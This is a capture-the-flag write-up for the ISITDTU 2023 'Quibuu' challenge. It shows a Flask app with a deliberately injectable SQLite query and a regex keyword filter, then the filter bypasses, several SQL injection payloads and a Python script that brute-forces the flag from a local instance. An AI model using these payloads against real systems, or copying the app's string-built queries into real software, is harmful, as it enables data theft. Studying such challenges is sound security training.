2023 ISITDTUCTF - Quibuu
Overview
- 30 solves / 127 points
- Author: Discord onsra
Description
Hmmmmm, u are QuiBuu, right? xD
Attached
This is app.py
file
from flask import Flask, render_template, request
import random
import re
import urllib.parse
import sqlite3
app = Flask(__name__)
def waf_cuc_chill(ans):
# idk, I thought too much of a good thing
ans = urllib.parse.quote(ans)
pattern = re.compile(r'(and|0r|substring|subsrt|if|case|cast|like|>|<|(?:/\%2A.*?\%2A/)|\\|~|\+|-|when|then|order|name|url|;|--|into|limit|update|delete|drop|join|version|not|hex|load_extension|round|random|lower|replace|likely|iif|abs|char|unhex|unicode|trim|offset|count|upper|sqlite_version\(\)|#|true|false|max|\^|length|all|values|0x.*?|left|right|mid|%09|%0A|%20|\t)', re.IGNORECASE)
if pattern.search(ans):
return True
return False
@app.route("/", methods=["GET"])
def index():
ran = random.randint(1, 11)
id, ans= request.args.get("id", default=f"{ran}"), request.args.get("ans", default="")
if not (id and str(id).isdigit() and int(id) >= 1 and int(id) <= 1301):
id = 1
db = sqlite3.connect("hehe.db")
cursor = db.execute(f"SELECT URL FROM QuiBuu WHERE ID = {id}")
img = cursor.fetchone()[0]
if waf_cuc_chill(ans):
return render_template("hack.html")
cursor = db.execute(f"SELECT * FROM QuiBuu where ID = {id} AND Name = '{ans}'")
result = cursor.fetchall()
check = 0
if result != []:
check = 1
elif result == [] and ans != "" :
check = 2
return render_template("index.html", id=id, img=img, ans=ans, check=check)
if __name__ == "__main__":
app.run()
Analyzation
Check around, the flag is in the database, therefore our target is sqli.
id = 1337, name=ISITDTU, URL = flag
There are two sql queries:
db = sqlite3.connect("hehe.db")
cursor = db.execute(f"SELECT URL FROM QuiBuu WHERE ID = {id}")
img = cursor.fetchone()[0]
and
cursor = db.execute(f"SELECT * FROM QuiBuu where ID = {id} AND Name = '{ans}'")
result = cursor.fetchall()
check = 0
if result != []:
check = 1
elif result == [] and ans != "" :
check = 2
The first sql query is useless since id
will never reach 1337
.
if not (id and str(id).isdigit() and int(id) >= 1 and int(id) <= 1301):
id = 1
So the second query will be used, and to the ans
variable. In this problem, error-based sqli works fine.
But we have to bypass waf
first
if waf_cuc_chill(ans):
return render_template("hack.html")
These are some vulnerabilities of waf
-
Two columns’ name in the database are blocked,
name
andurl
, columnid
and the table nameQuiBuu
are not blocked. -
Keywords in a query, such as
select
,from
,where
, and others, are not blocked. -
It blocks almost all whitespace characters, except for
\r
. -
The input string is not escaped.
-
Keyword
like
is blocked, but keywordglob
can be used instead. -
substring()
is blocked, butinstr()
is not. This is the keypoint.
Exploitation
Firstly, my idea was
id = 10
ans = "Naruto' union select * from QuiBuu where url glob \'ISIT*"
ans = ans.replace(" ", "\r")
I tried to select url
column with many ways. But it was not work since the keyword was blocked. Then I created a temporary table to use alias
id = 10
ans = "Naruto' OR (WITH cte(c1,c2,c3) AS (SELECT * FROM QuiBuu) SELECT instr(c3,'{flag_guess}') FROM cte WHERE c1='1337') OR id='200000"
ans = ans.replace(" ", "\r")
- If
flag_guess
is correct, the query will return all data in tables.
Another payload using GROUP_CONCAT()
.
id = 10
ans = "a' OR (SELECT instr(( SELECT GROUP_CONCAT(\"pet\") FROM ( SELECT \"admin\", \"user\", \"pet\" UNION SELECT * FROM QuiBuu WHERE id=1337 ) ), \"{flag_guess}\"))/*"
ans = ans.replace(" ", "\r")
Now the third column is no longer url
, but pet
.
Solution
import requests
import string
ALPHABET = "_}" + string.ascii_lowercase + string.digits + string.ascii_uppercase
URL = "http://localhost:1301/?id={}&ans={}"
id = 10
ans = "Naruto' OR (WITH cte(c1,c2,c3) AS (SELECT * FROM QuiBuu) SELECT instr(c3,'{}') FROM cte WHERE c1='1337') OR id='200000"
ans = ans.replace(" ", "\r")
flag = "ISITDTU{"
while "}" not in flag:
for c in ALPHABET:
response = requests.get(URL.format(id, ans.format(flag + c)))
if b"Haha QuiBuu" in response.content:
flag = flag + c
print(f"-----------flag_guess: {flag} ------------")
break
print(URL.format(id, ans.format(flag + c)).encode())